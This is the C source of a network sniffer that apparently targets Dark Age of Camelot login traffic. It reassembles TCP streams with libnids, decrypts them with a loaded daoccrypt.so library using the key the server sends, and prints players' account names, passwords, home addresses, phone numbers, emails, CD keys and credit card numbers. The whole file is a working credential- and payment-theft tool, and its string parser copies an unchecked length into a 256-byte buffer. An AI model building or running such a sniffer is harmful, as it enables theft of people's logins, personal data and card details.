#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <netinet/in.h>
#include "nids.h"
#include "daoccrypt.h"

#define CRYPT_LEN 13
#define my_ntohs(p) ntohs(*(uint16_t *)p)

int verbose = 1;
/* global daoccrypt function linked at runtime from daoccrypt.so */
daoccryptfunc daoccrypt;

/* strings are 2 bytes of length (network order) followed by
   ascii characters. */
char *dump_str(unsigned char **d)
{
    static char buff[256];
    int size;
    unsigned char *p;
    p = *d;

    size = my_ntohs(p);
    memcpy(buff, p+2, size);
    buff[size] = '\0';
    *d += size + 2;
    return buff;
}

void printHR(void)
{
  printf("/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/\n");
}

void dump_login_info(unsigned char *d)
{
    printHR();
    printf("Login info:\n");
    printf("  AccountName: %s\n", dump_str(&d));
    printf("  Password: %s\n", dump_str(&d));
    printHR();
}

void dump_account_info(unsigned char *d)
{
    printHR();
    printf("Account information update\n");
    printf("  Account Name: %s\n", dump_str(&d));
    printf("  Password: %s\n", dump_str(&d));
    printf("  First name: %s\n", dump_str(&d));
    printf("  Last name: %s\n", dump_str(&d));
    printf("  Middle initial: %s\n", dump_str(&d));
    printf("  Address1: %s\n", dump_str(&d));
    printf("  Address2: %s\n", dump_str(&d));
    printf("  City: %s\n", dump_str(&d));
    printf("  State: %s\n", dump_str(&d));
    printf("  ZipCode: %s\n", dump_str(&d));
    printf("  Country: %s\n", dump_str(&d));
    printf("  Phone: %s\n", dump_str(&d));
    printf("  Email: %s\n", dump_str(&d));
    printf("  Secret word: %s\n", dump_str(&d));
    printf("  CDKey: %s\n", dump_str(&d));
    printHR();
}

void dump_account_info_short(unsigned char *d)
{
    printHR();
    printf("Account information update (SHORT)\n");
    printf("  Account Name: %s\n", dump_str(&d));
    printf("  Password: %s\n", dump_str(&d));
    dump_str(&d); //?
    printf("  First name: %s\n", dump_str(&d));
    printf("  Last name: %s\n", dump_str(&d));
    printf("  Middle initial: %s\n", dump_str(&d));
    printf("  Address1: %s\n", dump_str(&d));
    printf("  Address2: %s\n", dump_str(&d));
    printf("  City: %s\n", dump_str(&d));
    printf("  State: %s\n", dump_str(&d));
    printf("  ZipCode: %s\n", dump_str(&d));
    printf("  Country: %s\n", dump_str(&d));
    printf("  Phone: %s\n", dump_str(&d));
    printf("  Email: %s\n", dump_str(&d));
    printHR();
}

void dump_billing_info(unsigned char *d)
{
    printHR();
    printf("Billing information update\n");
    printf("  AccountName: %s\n", dump_str(&d));
    printf("  Password: %s\n", dump_str(&d));
    printf("  Name: %s\n", dump_str(&d));
    printf("  Credit card number: %s\n", dump_str(&d));
    printf("  Credit card expiration: %s/", dump_str(&d));
    printf("%s\n", dump_str(&d));
    printf("  Billing cycle: %s\n", dump_str(&d));
    printHR();
}

void process_packet(unsigned char *daoc_data, int data_size, int from_server, void **crypt_key)
{
    unsigned int packet_type;
    unsigned char *d;

    if (*crypt_key)
        daoccrypt(daoc_data, data_size, *crypt_key, CRYPT_LEN);

    /* packet type is in the first 2 bytes (network order) */
    packet_type = my_ntohs(daoc_data);

    if (from_server)
    {
        /* only packet type we care about from the server is the crypt key */
        if (packet_type == 0x0065)
        {
            char *key = (char *)malloc(CRYPT_LEN);
            memcpy(key, &daoc_data[6], CRYPT_LEN);
            *crypt_key = key;
            if (verbose)
                printf("Crypt key set\n");
        }
        else
            if (verbose)
                printf("uknown packet from SERVER type 0x%4.4x\n", packet_type);
    }  /* from server */

    else  /* from client */
    {
        /* data from client starts 2 bytes after packet type ends */
        d = &daoc_data[4];
        switch (packet_type)
        {
        case 0x012c:  dump_login_info(d); break;
        case 0x012d:  dump_account_info(d); break;
        case 0x012e:  dump_account_info_short(d); break;
        case 0x0130:  dump_billing_info(d); break;
        default:
            if (verbose)
                printf("unknown packet from CLIENT type 0x%4.4x\n", packet_type);
            break;
        }
    }  /* if from client */
}

void stream_data_avail(struct tcp_stream *a_tcp, void **crypt_key)
{
    struct half_stream *hlf;
    int from_server;
    int daoc_packet_size;
    int bytes_received;

    if (a_tcp->client.count_new)
    {
        hlf = &a_tcp->client;
        from_server = 1;
    }
    else
    {
        hlf = &a_tcp->server;
        from_server = 0;
    }

    /* make sure we have enough for the 2 esc bytes and the daoc packet size */
    bytes_received = hlf->count - hlf->offset;
    if (bytes_received < 4)
    {
        nids_discard(a_tcp, 0);
        return;
    }

    /* now make sure we have as many bytes are stated by the
       application layer protocol */
    daoc_packet_size = my_ntohs(&hlf->data[2]);
    if (bytes_received < (daoc_packet_size + 4))
    {
        nids_discard(a_tcp, 0);
        return;
    }

    process_packet(&hlf->data[4], daoc_packet_size, from_server, crypt_key);
}

void tcp_callback(struct tcp_stream *a_tcp, void **crypt_key)
{
    switch (a_tcp->nids_state)
    {
    case NIDS_JUST_EST:
        /* Login connections are on port 10500-10504 currently */
        if (a_tcp->addr.dest >= 10500 && a_tcp->addr.dest <= 10504)
        {
            a_tcp->client.collect++;
            a_tcp->server.collect++;
            *crypt_key = NULL;
            if (verbose)
                printf("Connection established\n");
        }
        break;

    case NIDS_CLOSE:
    case NIDS_RESET:
        if (*crypt_key)
        {
            free(*crypt_key);
            *crypt_key = NULL;
        }
        if (verbose)
            printf("Connection closed\n");
        break;

    case NIDS_DATA:
        stream_data_avail(a_tcp, crypt_key);
        break;
    }  /* switch a_tcp->nids_state */
}

int prepare_crypt(void **daoccrypt_handle)
{
    char name[4096];
    void *handle;

    getcwd(name, 4096);
    strcat(name, "/daoccrypt.so");

    handle = dlopen(name, RTLD_LAZY);
    if (handle == NULL)
        return 0;

    daoccrypt = (daoccryptfunc)dlsym(handle, "daoccrypt");
    if (daoccrypt == NULL) 
        return 0;

    *daoccrypt_handle = handle;
    return 1;
}

int main(int argc, char *argv[])
{
    void *daoccrypt_handle;
    if (!prepare_crypt(&daoccrypt_handle))
    {
        fprintf(stderr, "Could not load daoccrypt.so\n");
        exit(1);
    }
    if (argc)
        nids_params.filename = argv[1];
    if (!nids_init())
    {
  	fprintf(stderr,"%s\n",nids_errbuf);
  	exit(1);
    }

    nids_register_tcp(tcp_callback);
    nids_run();

    dlclose(daoccrypt_handle);
    return 0;
}

